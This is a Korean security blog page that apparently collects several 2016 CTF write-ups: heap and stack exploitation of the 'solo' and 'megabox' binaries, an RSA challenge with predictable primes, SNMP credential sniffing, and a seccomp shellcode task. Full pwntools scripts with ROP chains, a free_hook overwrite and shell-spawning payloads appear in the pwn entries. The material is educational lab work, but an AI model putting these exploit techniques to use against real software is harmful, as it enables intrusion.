2017. 1. 17. 21:02

## Christmas CTF_2016
    (whoissolo,100pts,pwn)


[Summary]

1. 2가지 시나리오로 풀이가 가능함(fastbin attack, unsorted bin attack)

2. heap 취약점(fastbin overwrite)을 이용해 특정 주소에 read/write 가능 -> 원하는 메뉴(stack overflow 유발) 활성화

3. 눈에 보이는 stack overflow 취약점을 이용해 memory leak

4. libc base를 leak -> rop(oneshot 가젯 막기 위해 patched libc 사용) -> execl()/system() rop 사용


[Analysis] 

(https://drive.google.com/open?id=0B12bAVEUfDg7Q3JYdmxkRnRMSms) - (solo binary)
(https://drive.google.com/open?id=0B12bAVEUfDg7a0ZTMDhORzVzVXc) - (patched_libc binary)

 

 우선 이 문제는 대회 때는 풀지 못한 문제이고 출제자(s0nsari)의 말을 들어보니 원래 의도한 unsorted bin attack으로 

풀지 않고 fastbin attack으로 푼 사람이 대부분이라고 했다. 


이 Write-up에서도 아직 unsorted bin attack에 대해 잘 모르고 익숙하지 않아 fastbin attack으로 exploit한 것에 대해 

설명할 것이다.


이 문제를 실행하면 아래 [그림 1]과 같은 메뉴 선택 창이 나타난다.

[그림 1] solo 실행


 총 5개의 메뉴가 있는데 1번은 말그대로 malloc()을 이용해서 힙영역에 할당하는 메뉴, 2번도 말그대로 free()함수를 

이용해 할당한 heap 을 free해주는 메뉴, 3번 list는 미구현, 4번 login은 나중에 분석하겠지만 특정 변수의 값을 체크하여

password를 묻는 기능을 가지고 있으며 간단한 bof 취약점이 존재하는 메뉴이고 5번은 프로그램 종료를 하는 메뉴이다.


이 바이너리를 IDA를 통해 확인해보면 main()함수는 아래 [그림 2]와 같다.

[그림 2] main()함수 분석


[그림 2]의 주석에도 달아놓았듯이 위 소스코드에 line number 40~46의 네번째 로그인 메뉴에서 

아주 간단한 BOF 취약점이 있고 이를 트리거하기 위해서는 qword_602080 변수의 값이 0이 아니어야 하는데

여기에 값을 넣기 위해서는 malloc으로 할당한 후 free를 하고 숨겨진 메뉴(201527)을 통해 free chunk의 fd값을 

overwrite 해야한다. 


 따라서 fd를 0x602080이 있는 영역으로 수정하고 malloc을 두 번 해주면 2번째 malloc에서 fd의 값을 참조하여 힙을 

할당하는데 그렇게 되면 0x602080주소에 값을 집어넣을 수 있게 된다.


 여기서 주의할 점이 하나 있는데 malloc할 때의 size가 중요하다. 처음 내가 문제를 풀때에는 Input Size를 5로 주었다.

(그림 3)(실제로 16바이트가 할당됨(allign)) 그렇게 한 후 fd값을 변조하고 malloc을 2번 했더니 다음 

[그림 4]과 같은 에러가 뜨면서 제대로 할당이 되지 않았다.(fd값은 할당받을 곳의 주소를 준다. -> 0x602080에 

값을 써야하므로 header를 생각해서 0x602080-0x10값으로 변조를 해주었다.)

[그림 3] malloc() 한 후의 상황


[그림 4] malloc 할당 실패


 [그림 4]와 같이 malloc() 할당이 되지 않는 이유는 size를 제대로 안 맞춰 주었기 때문인데 5바이트만큼 할당 

받겠다고 하면 malloc()함수가 할당해주는 바이트는 처음엔 32bit시스템에서는 16바이트 단위 그 뒤부터는 8바이트 

단위로 할당하고, 64bit시스템에서는 32바이트 단위 그 뒤부터는 16바이트 단위로 할당해준다. 그래서 [그림 3] 또는 

[그림 4]의 size부분에 0x21(prev_inuse bit 포함)이 들어 있는 것이다. 


 그런데 할당 받으려고 했던 0x602070부분을 확인해보면 [그림 5]와 같이 size부분이 0인 것을 확인할 수 있고 

실제 malloc 구현부를 보면 이 size값을 체크하여 위 [그림 4]와 같은 에러를 뱉어내는 것을 확인할 수 있고 우리는 

이 size값도 맞춰줄 필요가 있다.

[그림 5] 0x602070 size 부분


따라서 fd를 overwrite할 때 0x60206d부분으로 덮어씌워 주면 size부분이 아래 [그림 6]과 같이 0x7f가 되고 

우리는 size가 0x71(prev_inuse bit 포함)가 되도록만 맞춰주면 된다. 따라서 size가 0x71이 되도록 하는 바이트 

범위는 0x59(89) ~ 0x68(104)이면 되므로 이렇게 바이트만 맞춰서 할당해주면 아무 문제 없이 malloc 할당이 이루어진다.

[그림 6] 0x60206d size 부분


 따라서 이렇게 할당이 이루어지고 난 후에는 modify 메뉴를 통해서 0x60207d 부분부터 값을 채워 0x602080에 

0이 아닌 값을 집어넣고 login메뉴를 활성화 시킨 후 일반적인 BOF문제를 풀듯이 puts_plt로 메모리 릭을 한 후 

libc base addr을 구하고 execl() rop 페이로드를 작성한 후 exploit을 하면 된다. 자세한 사항은 아래 exploit code를

보면 된다.


 이 방법은 fastbin 으로 푼 방식이고 실제로 unsorted 방식으로 푸는게 출제자의 의도라고 했는데 이 방법은 차후 

공부를 좀 더 하고 업데이트를 할 계획이다.


[Exploit Code] - solo_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import *
 
context(arch='i686',os='linux')
local=True
#local=False
 
if local:
    p = process("./solo")
else:
    p = remote("52.175.144.148"9901)
 
binary = ELF("./solo")
 
puts_plt_addr = 0x400600
poprax_offset = 0x1b290
pop_rsi_r15_addr = 0x400d11
poprdi_addr = 0x400d13
start_addr = 0x4007b5
main_addr = 0x400680
puts_got_addr = 0x602020
read_got_addr = 0x602028
 
puts_offset = 0x6fd60
binsh_offset = 0x17c8c3
system_offset = 0x46590
execl_offset = 0xc14a0
 
binsh_addr = ''
system_addr = ''
execl_addr = ''
poprax_addr = ''
raw_input()
 
def print_menu(p):
    print p.recvuntil('$ ')
 
def select_malloc(p, chunk_num, size, data):
    print_menu(p)
    p.send("1\n")
    print p.recvuntil("Allocate Chunk Number: ")
    p.send(chunk_num+'\n')
    print p.recvuntil("Input Size: ")
    p.send(size+'\n')
    print p.recvuntil("Input Data: ")
    p.send(data+'\n')
 
def select_free(p, chunk_num):
    print_menu(p)
    p.send("2\n")
    print p.recvuntil("Free Chunk number: ")
    p.send(chunk_num+'\n')
    print p.recvline()
 
def select_modify(p, data):
    print_menu(p)
    p.send("201527\n")
    print p.recvuntil("Modify Data: ")
    p.send(data+'\n')
 
def select_login(p, passwd, stage_level=0):
    global binsh_addr, system_addr, execl_addr, poprax_addr
    if stage_level != 3:
        print_menu(p)
    p.send("4\n")
    print p.recv(1024)
    p.send(passwd+'\n')
 
def select_exit(p):
    print_menu(p)
    p.send("5\n")
    
################# Init ##################
#       Prepare Triggering Bug          #
#########################################
select_malloc(p, str(1), str(96), "A")
select_free(p, str(1))
 
################### stage 1 ####################
#   overwrite fd -> malloc()*2 arbitary alloc  #
################################################
stage1_payload = p64(0x60206d)
select_modify(p, stage1_payload)        # overwrite fd
 
select_malloc(p, str(1), str(96), "B")
select_malloc(p, str(1), str(96), "AAAA")    # allocate to 0x60207d
 
################## stage 2 #####################
#      Memory Leaking(for libc base addr)      #
################################################
stage2_payload = "X"*0x408
stage2_payload += p64(poprdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr)
#stage2_payload += p64(poprdi_addr) + p64(read_got_addr) + p64(puts_plt_addr)
stage2_payload += p64(start_addr)
stage2_payload += p64(main_addr)
select_login(p, stage2_payload)
select_exit(p)
 
leak_data = p.recv(1024); print leak_data
puts_leak_addr = (u64(leak_data[:8])) & 0x0000ffffffffffff
libc_base_addr = puts_leak_addr - puts_offset
binsh_addr = libc_base_addr + binsh_offset
system_addr = libc_base_addr + system_offset
execl_addr = libc_base_addr + execl_offset
poprax_addr = libc_base_addr + poprax_offset
print "[+] puts leak addr : " + hex(puts_leak_addr)
print "[+] libc's base addr : " + hex(libc_base_addr)
print "[+] /bin/sh addr : " + hex(binsh_addr)
print "[+] system() addr : " + hex(system_addr)
print "[+] execl() addr : " + hex(execl_addr)
print "[+] pop rax gadget addr : " + hex(poprax_addr)
 
#print p.recv(1024)
################## stage 3 #####################
#           Exploit : system("/bin/sh")        #
################################################ 
stage3_payload = "X"*0x408
 
##### system() rop #####  => Failed....!!!!!!!
#stage3_payload += p64(poprdi_addr) + p64(binsh_addr)
#stage3_payload += p64(poprax_addr) + p64(0) + p64(system_addr)
 
##### execl() rop #####
stage3_payload += p64(poprdi_addr) + p64(binsh_addr)
stage3_payload += p64(pop_rsi_r15_addr) + p64(0+ p64(0)
stage3_payload += p64(execl_addr)
select_login(p, stage3_payload, 3)
select_exit(p)
 
p.interactive()
 
 
 
cs


[Get Shell~~!!!!] - local

[그림 7] - Get Shell~!


끝~!



'CTF writeup' 카테고리의 다른 글

[Codegate CTF_2017] BabyPwn(pwn)  (0) 2017.02.18
[Codegate CTF_2017] BabyMISC(MISC)  (0) 2017.02.18
[BoB CTF_2016] megabox(pwn)  (2) 2017.01.10
[Christmas CTF_2016] StupidRSA(misc)  (0) 2016.12.26
[Christmas CTF_2016] NMS(misc)  (0) 2016.12.26
Posted by holinder4S
2017. 1. 10. 18:31

## BoB CTF_2016(megabox,pwn)


[Summary]

1. memory leak이 간단하고 canary와 libc's base addr을 Leak해야함.

2. clone()함수로 sandbox를 걸어놓음. -> sandbox escape(?)를 해야함.

3. FULL RELRO가 걸려있어 got overwrite가 불가능

4. libc의 got overwrite는 가능한데 free함수를 사용할 경우 free_hook의 got를 realloc함수를 사용할 경우

    realloc_hook의 got를 overwrite해야함.


[Analysis]

- (https://drive.google.com/open?id=0B12bAVEUfDg7bjhNU1J2ZTZOOHc) - (megabox binary)
- (
https://drive.google.com/open?id=0B12bAVEUfDg7NExKLTdRaWNfTHM) - (libc binary)

[그림 1] - main()함수 hex-ray


IDA를 이용하여 [그림 1]과 같이 바이너리를 뜯어보면 clone()함수로 fn이라는 함수를 sandbox에 넣어 동작시키는 것을 알 수 있다.

처음에는 이게 sandbox인 것조차 알지 못하고 대회때는 풀지 못했다. 

mmap()으로 0x41410000영역에 커스텀 스택의 ret를 간단하게 rop를 하여 one-shot가젯을 쓸 수 있을 거라 생각했는데 

그게 아니었다. sandbox에 막혔다.


그리고 보호기법은 Full RELRO였기 때문에 got overwrite가 불가능 했고, 따라서 libc의 got를 덮어쓸 수 있었다. 

아래 [그림 2]와 같이 조금 자세히 fn을 보면 1번 메뉴를 통해 커스텀 스택에 bof가 터지는게 너무 눈에 띄게 취약점이 보였고, 

2번 메뉴를 통해 Memory Leak을 할 수 있었는데 canary와 ret에 저장되어있는 clone+109의 주소를 릭해서 libc의 base addr를 

구할 수 있었고, 이를 통해 libc의 free_hook의 got를 oneshot가젯의 주소로 덮어씌워서 exploit이 가능했다.

[그림 2] - fn()함수


[Exploit Code] - megabox_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
import hexdump
import struct
 
context(arch='i686', os='linux')
#local=False
local=True
 
if local:
    p = process("./megabox_patch")
else:
    p = remote("52.34.185.58"10001)
 
binary = ELF("./megabox")
 
raw_input()
 
payload = "A"*136
oneshot_offset = 0x4647C
#libc_free_got_offset = 0x3BDF98
#libc_free_got_offset = 0x3BE060
libc_free_hook_got_offset = 0x3C0A10
#wjret = 0x4141414141414141
 
gets_plt = 0x4009C0
poprdi_offset = 0x22b9a
#read_plt = 0x400980
#printf_plt = 0x400960
canary_leak = ''; oneshot_addr = ''; poprdi_addr = ''; libc_free_hook_got_addr = ''; clone_109 = ''
 
def write_feedback(feedback):
    p.recv(1024); p.send('1\n'); sleep(0.5)
    p.recv(1024)
    p.send(feedback+'\n'); sleep(0.5)
 
def read_feedback(debug_level=0):
    global canary_leak,oneshot_addr,poprdi_addr,libc_free_hook_got_addr,clone_109
    p.recvuntil('menu>>> '); p.send('2\n'); sleep(0.5)
    p.recvuntil('oops!!\n')
 
    stack_leak = p.recv(1024)
    canary_leak = stack_leak[136:144]
    clone_109 = stack_leak[152:160]
    canary_leak = u64(canary_leak)
    clone_109 = u64(clone_109)
    libc_base_addr = clone_109-0xfa37d 
    libc_free_hook_got_addr = libc_base_addr + libc_free_hook_got_offset
    oneshot_addr = libc_base_addr + oneshot_offset
    poprdi_addr = libc_base_addr + poprdi_offset
    #canary_leak = struct.unpack("L", canary_leak)
    #clone_109_leak = struct.unpack("L", clone_109)
    
    if debug_level == 1:
        hexdump.hexdump(stack_leak[:176])
        print "[+] canary's addr : " + hex(canary_leak)
        print "[+] clone+109's addr : " + hex(clone_109)
        print "[+] gets's plt addr : " + hex(gets_plt)
        print "[+] libc_base's addr : " + hex(libc_base_addr)
        print "[+] libc's free_hook got addr : " + hex(libc_free_hook_got_addr)
        print "[+] oneshot's addr : " + hex(oneshot_addr)
        print "[+] poprdi's addr : " + hex(poprdi_addr)
 
#################### Init ######################
p.recvuntil('your name... ')
p.send('wjdebug\n'); sleep(0.5)
 
#################### stage 1 ##################
#               Memory Leak Vuln              #
###############################################
write_feedback(payload)
read_feedback(1)
 
#################### stage 2 ##################
# overwrite libc's free_got to oneshot gadget #
###############################################
#stage2_payload = payload+p64(canary_leak)+p64(0)+p64(poprdi_addr)+p64(libc_free_got_addr)+p64(oneshot_addr)
stage2_payload = payload
stage2_payload += p64(canary_leak)
stage2_payload += p64(0)
stage2_payload += p64(poprdi_addr)
stage2_payload += p64(libc_free_hook_got_addr)
stage2_payload += p64(gets_plt)
stage2_payload += p64(clone_109)
write_feedback(stage2_payload)
 
################### stage 3 ###################
#             Exploit ~~~~~~~~~~!!!           #
###############################################
p.recv(4096); p.send('3\n'); sleep(0.5)        # vuln trigger
p.send(p64(oneshot_addr)+'\n')            # input gets's arg
 
p.interactive()
 
cs



[Get Shell~~!!!!]

[그림 3] 쉘 획득~!


끝~!


ps) Thanks to s0ngsari(s0ngsari.tistory.com)



'CTF writeup' 카테고리의 다른 글

[Codegate CTF_2017] BabyMISC(MISC)  (0) 2017.02.18
[Christmas CTF_2016] who is solo(pwn)  (8) 2017.01.17
[Christmas CTF_2016] StupidRSA(misc)  (0) 2016.12.26
[Christmas CTF_2016] NMS(misc)  (0) 2016.12.26
[Holyshield CTF_2016] pwnme(pwn)  (0) 2016.12.26
Posted by holinder4S
2016. 12. 26. 20:50

## Christmas CTF_2016(StupidRSA,misc,100pts)


[Summary]

1. 랜덤 문자열을 RSA암호화하여 던져주고 사용자 입력을 받은 후 인크립트하여 같은 문자열인지 검사.

2. N과 e가 주어진다.

3. p,q를 구해야 한다. => d를 구할 수 있음.

4. 랜덤이 랜덤이 아니다.


[Analysis] - server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
from socket import *
import sys
from time import *
import threading
from gmpy2 import *
import random, string
 
#======================================================================================
# function "xgcd" tackes positive integers a, b as input
# and return a triple (g, x, y), such that ax + by = g = gcd(a, b).
def xgcd(b, n):
    x0, x1, y0, y1 = 1001
    while n != 0:
        q, b, n = b // n, n, b % n
        x0, x1 = x1, x0 - q * x1
        y0, y1 = y1, y0 - q * y1
    return  b, x0, y0
 
# An application of extended GCD algorithm to finding modular inverses:
def mulinv(b, n):
    g, x, _ = xgcd(b, n)
    if g == 1:
        return x % n
# - https://en.wikibooks.org/wiki/Algorithm_Implementation/Mathematics/Extended_Euclidean_algorithm
#=====================================================================================
 
def GeneratePrime(Base, randomST):
    while True:
        k1 = mpz_urandomb(randomST, 1023)
        k2 = k1 + mpz_urandomb(randomST, 1023)
 
        #Add Random Number to Bignumber, then find next prime number
        p1 = next_prime(Base+k1)
        p2 = next_prime(Base+k2)
        #Prime Checking
        if is_prime(p1, 100and is_prime(p2, 100):
            return [p1, p2]
 
def GenerateKeys(p, q):
    e = 65537
    n = p * q
    pin = (p-1)*(q-1)
    d = mulinv(e, pin)
    return [e, d, n]
 
 
def MakeRandomString():
    return ''.join(random.choice(string.lowercase+string.uppercase+string.digits) for i in xrange(32))
 
def PrintIntro(conn):
    conn.send("ggggg\n")
 
 
Flag = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
 
def ClinetHandle(conn):
    TimeLimit = 1
    randomST = random_state()
    #Make Big Number with 2048 bits
    BaseNumber = (mpz(2** mpz(2048)) + mpz_urandomb(randomST, 512)
    if True:
        PrintIntro(conn)
        conn.send("Generating Keys... Wait some seconds\n")
        sleep(1)
 
        p, q = GeneratePrime(BaseNumber, randomST)
        #sleep is for resting of server
        sleep(1)
 
        PublicKey, PrivateKey, N = GenerateKeys(p, q)
        #sleep is for resting of server
        sleep(1)
        
        Data = MakeRandomString()
        Data = int(Data.encode('hex'),16)
 
        EncryptedData = powmod(Data, PublicKey, N)
        conn.send("Key Generating is Ended\n")
        conn.send("Encrypted Data : %d\nPublic Key : %d\nN : %d\n" % (EncryptedData, PublicKey, N))
        
        s_time = time()
        Answer = conn.recv(1500)
        e_time = time()
 
        #Time Out
        if e_time - s_time > TimeLimit:
            conn.send("Time Out!!!!!\n")
            conn.close()
            return
 
        #Answer is OK
        if int(Answer) == Data:
            conn.send(Flag+"\n")
            conn.close()
            return
        conn.send("You are Wrong!!!!!!\n")
        conn.close() 
        return
    else:
        conn.close()
        print "SOCKET ERROR"
        return
 
PORT = 40002
serverSocket = socket()
 
try:
    serverSocket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    serverSocket.bind(('', PORT))
except error as msg:
    print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
    sys.exit()
 
serverSocket.listen(30)
 
while 1:
    try:
        conn, addr = serverSocket.accept()
    except socket.error:
        break
    print 'Connected with ' + addr[0+ ':' + str(addr[1])
    t = threading.Thread(target = ClinetHandle, args=(conn,))
    t.start()        
 
serverSocket.close()
cs


위 파이썬 서버 소스코드를 간단하게 분석해보면 gmpy2 모듈을 import한 후 random_state()함수를 이용하여 random state를 세팅한다.

그리고 line number 66에서 GeneratePrime(BaseNumber, randomST)함수를 이용하여 p와 q를 생성하는데 이 때 BaseNumber의 값이 

너무 커서 p와 q의 값이 항상 일정한 것을 확인할 수 있다.



 사실 대회때 풀때는 nc로 해당 IP에 접속하니까 N값이 아래 [그림 1]과 같이 항상 같은 것을 알 수 있었고 이를 통해 p,q의 값이 계속

계속 같은 값으로 세팅될것이라 생각하고 server.py를 돌린 후 조금 수정하여 line number 39에 GenerateKeys()함수에 p,q를 프린트하는

코드를 집어넣고 p, q가 어떤 값인지 확인하였다. 따라서 N의 p, q 값을 구할 수 있었고 아래 exploit코드를 통해 encrypted_data를

복호화하여 plain_data를 보내 flag를 획득할 수 있었다.

[그림 1] N값 동일



[Exploit Code] - stupidrsa_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from gmpy2 import *
from pwn import *
 
= 32317006071311007300714876688669951960444102669715484032130345427524655138867890893197201411522913463688717960921898019494119559150490921095088152386448283120630877367300996091750197750389652106796057638384067568276792218642619756161838094338476170470581645852036305042887575891541065808607552399123930385521954285833276606292740174507176908054077273016103644389803261062635470374515595892199454891155463898488297024308700957247533881208055894474582694028535079545281620566442541400114261729854235365927395115457109476960042332821732358509197923144094801013581965651112146928918286923938064987973879624251895591220179
= 32317006071311007300714876688669951960444102669715484032130345427524655138867890893197201411522913463688717960921898019494119559150490921095088152386448283120630877367300996091750197750389652106796057638384067568276792218642619756161838094338476170470581645852036305042887575891541065808607552399123930385521990685772174514834944123086486002362345153147580453526134037171595087108668773961917317502849945855689432886442889958513294157709640362363734479327004391952407569596153273880472331909250263593691635107321048666489395316204775782962517724272901158130972610802371589601746375325078943967095960733617174538141999
= 1044388881413152506691752710716624382579964249047383780384233483283953907971557456848826811934997558340890106714439262837987573438185793607263236087851365277945956976543709998340361590134383718314428070011855946226376318839397712745672334684344586617496807908705803704071284048740118609114467977783598029006690697600653450794402499073313655339553833700162307202013282630845566129486279002848586096254031476866169150792712561588286084912360489096086200722815030967777717184920678698120026611906420006892800629990673807045740381567965542428579442736758203240180858489936597121784161788543599325256723713897245258564131378894882215721032454483182663602447410406206605827169895576134734205640381165130412956991982982813624560781237251487840725883976219267677157563885355442227842754369664991260936611978646990570202470864911216177534982510459238429002261957146109354524074258091155400881651699324739110875426250103752411336489340207397621943251616715427383143672581025383482605402570803003488772623873903367163515172010706471506968810059433811270160224272718635182798462613003559659236641594639570465027376724958024431953464028003281075460976002320362078753623631924730508277339588386023508080515190999918781675629931130902752659976197821
phi = (p-1)*(q-1)
= 65537
 
def egcd(a, b):
    x,y, u,v = 0,11,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y
 
gcd, a, b = egcd(e, phi)
= a
 
= remote('52.175.158.46'40002)
print p.recvline(); print p.recvline(); print p.recvline()
encrypted_data = p.recvline()[17:]; print encrypted_data
 
print p.recvline(); print p.recvline()
decrypted_data = powmod(int(encrypted_data), d, N)
decrypted_data_str = hex(decrypted_data)[2:].decode('hex')
print '[*] decrypted_data : ' + decrypted_data_str
 
p.send(str(decrypted_data)+'\n')
print p.recv(1024)
 
# ref1) http://crypto.stackexchange.com/questions/19444/rsa-given-q-p-and-e
# ref2) 
cs


[Get Flag~~!!!!

[그림 2] flag


끝~!



'CTF writeup' 카테고리의 다른 글

[Christmas CTF_2016] who is solo(pwn)  (8) 2017.01.17
[BoB CTF_2016] megabox(pwn)  (2) 2017.01.10
[Christmas CTF_2016] NMS(misc)  (0) 2016.12.26
[Holyshield CTF_2016] pwnme(pwn)  (0) 2016.12.26
[RC3 CTF_2016] IMS-hard(pwn)  (2) 2016.11.25
Posted by holinder4S
2016. 12. 26. 19:44

## Christmas CTF_2016(NMS,misc,100pts)


[Summary]

1. 패킷 파일이 주어진다.

2. NMS 쿼리(snmp)의 취약한 설정이 되어 있는 서버를 찾아야 함. 

3. 패킷을 와이어샤크로 보면 IP대역이 딱 봐도 수상해 보이는 곳이 있음.(52.~~)

4. 패킷은 네트워크 관리자 PC내부에서 캡쳐되었기 때문에 snmp community string(password)가 평문으로 노출

5. snmp-check라는 툴 사용


[Analysis] 

 우선 문제를 보면 아래 [그림 1]과 같다.

[그림 1] 문제


문제는 네트워크 담당자 PC에 침투한 이후 해커가 내부에서 패킷을 캡처한 상황으로 가정하였고, 취약한 설정을 가진

서버를 찾았다고 한다. 그리고 해당 패킷 파일을 던져주는데 간단히 와이어샤크의 [Statistics] - [Conversation] 기능을 이용하여 TCP,

UDP세션을 살펴보던 중 UDP세션에서 다음 [그림 2]와 같은 161번 포트를 이용하는 snmp 쿼리를 확인할 수 있었다. 특별한 점은

다른 IP대역은 get request패킷만 보이는데 "52.39~ "의 IP대역은 get response패킷까지 보이면서 snmp 쿼리가

정상 동작하는 것을 확인할 수 있었다.(cf. 패킷을 잘 살펴보면 scanning을 한 것처럼 보임)(그림 3 참조)

[그림 2] UDP 세션들


[그림 3] SNMP 쿼리 (community string_평문 전송)


패킷을 잘 보면 snmpv2c를 사용하는 것을 알 수 있고 이 버젼은 보안기능이 들어있지 않아 패킷이 평문으로 전송되면서 패스워드를 평문으로

전송하는데 위에서 얻을 수 있는 community string은 "public"과 "idcmonitoradmin"이었고 이렇게 탈취한 해당 community string을

이용하여 snmp-check라는 툴을 돌린 결과 아래 [그림 4, 5]와 같이 flag가 뜨는 것을 확인 할 수 있었다.


[Get Flag~~!!!!

[그림 4] snmp-check 커맨드


[그림 5] snmp-check 결과 - flag획득


끝~!





'CTF writeup' 카테고리의 다른 글

[BoB CTF_2016] megabox(pwn)  (2) 2017.01.10
[Christmas CTF_2016] StupidRSA(misc)  (0) 2016.12.26
[Holyshield CTF_2016] pwnme(pwn)  (0) 2016.12.26
[RC3 CTF_2016] IMS-hard(pwn)  (2) 2016.11.25
[RC3 CTF_2016] IMS-easy(pwn)  (0) 2016.11.25
Posted by holinder4S
2016. 12. 26. 19:14

## Holyshield CTF_2016(pwnme,pwn)


[Summary]

1. hex-ray가 안됨.

2. 쉘코드 실행이 가능하지만 seccomp sandbox가 적용되어 read, write, close(?)의 syscall만 허용됨.

3. flag를 open한 후 동적할당 받은 영역에 랜덤한 offset값(rand()함수를 이용)을 더한 후 그 곳에 저장.

4. write syscall을 이용하여 해당 flag가 박혀있는 주소를 찾아 그 곳의 flag를 출력하는 shellcode를 작성.

5. shellcode의 크기는 0x20이내여야 함.


[Analysis] - (https://drive.google.com/open?id=0B12bAVEUfDg7dmRuMDJsTTJzX3M) 문제 링크

 우선 server가 동작하고 있는 환경에서 server의 9091포트로 접속하면 아래와 같이 shellcode를 입력 받고 

잘못된 쉘코드를 입력하면 segmentation fault가 뜬다.

[그림 1] pwnme 바이너리 실행


이제 이 바이너리를 분석해보면 우선 shellcode를 실행하기 전 seccomp sandbox를 세팅하는 루틴을

아래 [그림 2]와 같이 확인할 수 있으며 그렇게 중요하진 않다.

[그림 2] seccomp sandbox 룰 추가


그리고 바이너리의 처음부터 살펴보면 signal(alram)을 세팅하여 특정 시간이 지나면 종료되도록 되어 있고, server.py를 보면 알수 있는데

쉘코드가 저장되어 있는 파일을 오픈하여 fgets()로 읽은 다음 메모리에 저장한다.(후에 이 쉘코드가 실행됨)

그런 다음 srand(time(NULL))을 이용하여 random seed값을 준 다음 rand함수를 호출하여 아래 [그림 3]과 같이 특정 연산을 수행한다.

[그림 3] flag가 올라갈 메모리 영역의 주소를 랜덤하게 만들기 위한 루틴


물론 이 연산을 파악하는 건 중요하지 않으므로 넘어가도록 하겠다. 이렇게 offset을 랜덤하게 설정한 후 var_4C변수에 저장을 한 다음 

"flag"라는 파일을 open한 다음 fgets()함수를 이용하여 값을 읽어들인 후 아래 [그림 4]와 같이 메모리에 적재 한다.

[그림 4] flag open & read


여기까지 다 끝내고 나면 마지막으로 "call eax"를 하여 shellcode를 실행시키는데 call eax를 실행하기 전 레지스터와 스택 상황을 보면

아래 [그림 5]와 같다.

[그림 5] shellcode 실행 전 스택 & 레지스터 상황


스택의 esp의 값인 0xbffff0f4에서 0x2326 offset만큼 더하면 동적할당 받은 힙 영역의 주소가 저장되어 있으며 이 주소에 앞에서 만든 

random offset값을 더한 곳에 실제 flag가 들어 있었다. 처음에는 random offset값이 스택영역에 저장되어 있을 줄 모르고 브루트 포싱을

이용하여 rand()를 깨보려고 했으나 범위도 크고 출력 server에서 0x6c만큼 read한 값을 주기 때문에 삽질을 많이 했다.

random_offset은 [그림 4]에서 봤듯이 ebp-0x4c에 위치해 있으므로 이 값을 읽어 들여와 malloc()으로 할당받은 힙 주소에 더하는 

쉘코드를 작성하여 write() syscall로 stdout에 출력하기만 하면 되었다.


[server.py]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!python
import os, sys
from socket import *
import thread
import time
import tempfile
import random
import subprocess
BUFSIZE = 1024
MAXSIZE = 128
HOST = ''
PORT = 9091
RUNNER = './pwnme'
 
def banner():
    fd = open('banner.txt','r')
    buf = fd.read(100000)
    fd.close()
    return buf
 
def TestShellcode(s, sc):
    scsize = len(sc)
    if scsize > MAXSIZE:
        s.send('shellcode is too long...%s' % (MAXSIZE))
        s.close()
        return -1
    return sc
 
def handler(s, addr):
    s.send(banner())
    TIMEOUT = 10
    while True:
        s.send('please input shellcode\n')
        rv = s.recv(MAXSIZE)
        r = TestShellcode(s, rv)
        #print printHex(r)
        if r == -1:
            return
        else:
            #print printHex(r)
            s.send('Okay I\'m execve shellcode...\n')
            fn = tempfile.mktemp()
            open(fn, 'wb').write(r)
            child_pid = os.fork()
            if child_pid == 0:
                cmd = [RUNNER,fn,str(TIMEOUT)]
                fd_popen = subprocess.Popen(cmd, stdout=subprocess.PIPE).stdout
                data = fd_popen.read().strip()
                  fd_popen.close()
                if data == '':
                    s.send("segmentaion fault\n")
                    print "================client================"
                    print "segmentaion fault"
                    print "======================================"
                else:
                    s.send(data[0:60])
                    print "================client================"
                    print data[0:60]
                    print "======================================"
            else:
                pid, status = os.waitpid(child_pid, 0)
                s.close()
                os.unlink(fn)
                print "%s:%s client has been closed with pid(%05d)-%08x" % (addr[0],addr[1], pid, status)
                return
        return
 
def printHex(xhex):
    xtmp = ''
    xhex = xhex.encode('hex')
    for x in range(0len(xhex), 2):
        xtmp += '\\x' + xhex[x:x+2]
    return xtmp
 
if __name__ == '__main__':
    ADDR = (HOST, PORT)
    svr_sock = socket(AF_INET, SOCK_STREAM) 
    svr_sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    svr_sock.bind( ADDR )
    svr_sock.listen(10)
    while True:
        print 'Waiting for connection on port: %s' % (PORT)
        cli_sock, cli_addr = svr_sock.accept()
        print 'connected from %s:%s' % ( cli_addr[0], cli_addr[1] )
